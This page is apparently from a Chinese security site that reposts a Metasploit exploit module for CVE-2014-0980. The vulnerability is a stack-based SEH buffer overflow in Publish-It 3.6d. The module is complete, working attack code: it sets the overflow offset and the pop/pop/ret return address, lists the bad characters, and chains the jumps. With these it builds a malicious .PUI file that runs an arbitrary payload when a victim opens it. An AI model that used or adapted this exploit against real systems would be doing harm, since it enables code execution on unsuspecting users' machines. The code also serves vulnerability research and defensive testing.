首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Publish-It 3.6d - PUI Buffer Overflow (SEH) Exploit
来源:metasploit.com 作者:jakx_ 发布时间:2015-03-20  
##
# This module requires Metasploit: http://metasploit.com/download
##
   
require 'msf/core'
   
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
   
  include Msf::Exploit::FILEFORMAT
   
  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'Publish-It PUI Buffer Overflow (SEH)',
      'Description'  => %q{
          This module exploits a stack based buffer overflow in Publish-It when
          processing a specially crafted .PUI file. This vulnerability could be
          exploited by a remote attacker to execute arbitrary code on the target
          machine by enticing a user of Publish-It to open a malicious .PUI file.
      },
      'License'    => MSF_LICENSE,
      'Author'    =>
        [
          'Daniel Kazimirow'# Original discovery
          'Andrew Smith "jakx_"'# Exploit and MSF Module
        ],
      'References'  =>
        [
          [ 'OSVDB', '102911' ],
          [ 'CVE', '2014-0980' ],
          [ 'EDB', '31461' ]
        ],
      'DefaultOptions' =>
        {
          'ExitFunction' => 'process',
        },
      'Platform'  => 'win',
      'Payload'  =>
        {
          'BadChars' => "\x00\x0b\x0a",
          'DisableNops' => true,
          'Space' => 377
        },
      'Targets'    =>
        [
          [ 'Publish-It 3.6d',
            {
              'Ret'     =>  0x0046e95a, #p/p/r | Publish.EXE
              'Offset'  =>  1082
            }
          ],
        ],
      'Privileged'  => false,
      'DisclosureDate'  => 'Feb 5 2014',
      'DefaultTarget'  => 0))
   
    register_options([OptString.new('FILENAME', [ true, 'The file name.', 'msf.pui']),], self.class)
   
  end
   
  def exploit
   
    path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0980.pui")
    fd = File.open(path, "rb")
    template_data = fd.read(fd.stat.size)
    fd.close
   
    buffer = template_data
    buffer << make_nops(700)
    buffer << payload.encoded
    buffer << make_nops(target['Offset']-payload.encoded.length-700-5)
    buffer << Rex::Arch::X86.jmp('$-399') #long negative jump -399
    buffer << Rex::Arch::X86.jmp_short('$-24') #nseh negative jump
    buffer << make_nops(2)
    buffer << [target.ret].pack("V")
   
    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(buffer)
   
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Publish-It 3.6d - Buffer Overf
·GoAutoDial CE 2.0 - Shell Uplo
·Microsoft Office Word 2007 - R
·Adobe Flash Player PCRE Regex
·TWiki Debugenableplugins Remot
·Free MP3 CD Ripper Buffer Over
·FastStone Image Viewer 5.3 .tg
·Firefox Proxy Prototype Privil
·Fortinet Single Sign On Stack
·Belkin Play N750 login.cgi Buf
·iPass Mobile Client Service Pr
·Powershell Remoting Remote Com
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved